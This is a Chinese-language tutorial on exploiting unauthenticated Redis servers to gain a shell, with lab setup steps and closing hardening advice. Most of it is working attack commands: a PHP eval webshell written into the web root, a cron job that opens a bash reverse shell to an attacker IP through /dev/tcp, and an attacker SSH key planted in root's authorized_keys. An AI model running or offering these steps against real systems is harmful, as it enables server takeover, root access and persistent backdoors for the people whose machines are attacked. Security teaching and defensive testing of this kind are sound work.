一、Redis环境搭建
本文介绍了三种针对Redis未授权访问的getshell方式,只针对低版本或开启了enable-protected-config配置的redis,但是一打一个准,而且还快。
其他的利用方式可以看我的主页博客(覆盖面更广、利用成功率更高)。
# 下载Redis
wget http://download.redis.io/releases/redis-4.0.2.tar.gz
# 解压Redis
tar -zxvf redis-stable.tar.gz
# 解压后需要进入redis-stable进行编译
make
# 环境变量配置(方便全局使用)
cp redis-server /usr/bin
cp redis-cli /user/bin
cp redis.conf /etc
# 服务器端启动命令
redis-server /etc/redis.conf
# 客户端连接指令
redis-cli -h 目标主机ip地址 -p 端口号
出现以下情况说明编译成功:
环境搭建错误情况总结:
1.redis服务启动之后,使用nmap扫描发现redis服务关闭
- 检查Redis开启情况
ps -ef | grep redis
- 关闭防火墙
#关闭防火墙
systemctl stop firewalld
#并永久性开启自禁止
systemctl disable firewalld
- 更改绑定配置,对外开放服务或者绑定攻击机IP
bind 127.0.0.1 ::1
bind 192.168.xx.xx #将服务器IP写入
bind 0.0.0.0 #对所有IP开放
protected-mode no #将yes改成no,关闭保护模式
注:配置更改之后记得重启Redis。
二、Redis漏洞原理
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作 。
注:只存在于Redis低版本。
三、Redis获取Shell
1.直接写入shell脚本
前提条件
- 低版本或者enable-protected-config yes
- 知道网站绝对路径,并且需要增删改查权限
- 获取网站路径:报错带出、phpinfo、配置文件泄露、SQL注入、其他数据泄露
- 启动redis时以root权限启动
- redis无密码或弱口令
写入shell
config set dir /var/www/html/ #写入文件路径
config set dbfilename shell.php #写入文件名
set x "<?php phpinfo();eval($_POST['ant']);?>" #写入一句话
save #保存
含义:通过Redis命令将数据目录改为/var/www/html/,并将数据库文件名设为shell.php,随后在数据库文件中写入一句话木马,最后通过save命令将数据刷新到磁盘。
这里的修改都是对配置文件的修改,需要开启enable-protected-config yes,低版本默认开启。
2.定时任务写入反弹shell
攻击机开启服务监听,通过Redis写入定时任务将shell发送给攻击机。
2.1攻击机开启监听
nc -lvp 8888
2.2在redis中写入计划任务
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.181.128/888 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename
root save
注意:这里通过计划任务建立tcp连接将bash发送给攻击机(最简单),实际情况下可能不支持此操作,可以通过python、php、java脚本实现此功能。
等待一分钟~
3.写SSH公钥登录服务器
SSH原理解析:
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
- 客户端生成私钥和公钥,并把公钥拷贝给服务器端;
- 客户端发起登录请求,发送自己的相关信息;
- 服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
- 客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
- 服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
前提条件:
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
3.1攻击机生成公钥
ssh-keygen -t rsa
3.2获取公钥文件
cd /root/.ssh
cat id_rsa.pub
3.3上传公钥
redis-cli -h 192.168.33.134 #连接目标主机
redis config get dir #检查当前保存路径
config get dbfilename #检查保存文件名
config set dir /root/.ssh/ #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set xz "\n\n\n 公钥 \n\n\n" #将公钥写入xz健
save #进行保存
这里将ssh公钥写入到靶机的/root/.ssh下生成一个授权的key。通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里。
这里防止公钥粘贴错误,可以通过文件形式写入:
// 保存在key文件中(前后用\n换行,避免和redis里其他缓存数据混合)
(echo -e"\n";cat id_rsa.pub;echo -e "\n") > key.txt
// 上传key文件到redis缓存中
cat /root/.ssh/key.txt | redis-cli -h 192.168.8.128 -x set pub
注意:其他步骤不能少,修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys。
注意: redis 可以创建文件但无法创建目录,所以,redis待写入文件所在的目录必须事先存在。
出现如下图错误是因为目标靶机不存在.ssh目录。(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
执行靶机执行ssh,生成.ssh目录
ssh localhost
3.4公钥链接
ssh -i /root/.ssh/id_rsa root@xx.xx.xx.xx
4.Redis防护建议
- 限制redis访问:修改redis.conf文件
把# bind 127.0.0.1前面的 注释#号去掉,然后把127.0.0.1改成允许访问你的redis服务器的ip地址,表示只允许该ip进行访问。这种情况下,我们在启动redis服务器的时候不能再用:redis-server。
改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件。
- 增加redis访问密码
在redis.conf配置文件中找到 requirepass 配置项,取消#注释符,在requirepass 后面添加设置的密码。设置密码以后发现可以登陆,但是无法执行命令了。
- 启动redis客户端,并连接服务器:redis-cli -h IP地址 -p 端口号
- 在连接服务器的候就可以指定登录密码,避免单独输入上面授权命令:redis-cli -h IP地址 -p 端口号 -a 密码
- 在配置文件redis.conf中配置验证密码以外,也可以在已经启动的redis服务器通过命令行设置密码,但这种方式是临时的,当服务器重启了后,密码必须重设。命令行设置密码方式:config set requirepass 你的密码
- 当前redis服务器是否有设置验证密码,或者忘记密码,可以通过命令行输入命令查看密码:config get requirepass。
- 如果redis服务端没有配置密码,会得到nil,而如果配置了密码,但是redis客户端连接redis服务端时,没有用密码登录验证,会提示:operation not permitted,这时候可以用命令:auth yourpassword 进行验证密码,再执行 config set requirepass,就会显示yourpassword。
注意:
输出服务器中的所有key:keys *
报错:(error) ERR operation not permitted
使用授权命令进行授权,就不报错了:auth youpassword
- 修改默认端口:修改redis.conf文件
修改默认端口 port 6379 (注意:尽量不要和其他服务端口号冲突,改成一些少用或不常见的端口号即可)
这里的三种方式只是对Redist的未授权访问的简单利用,可以看我的主页博客查看其他的利用方式(覆盖面更广、利用成功率更高)。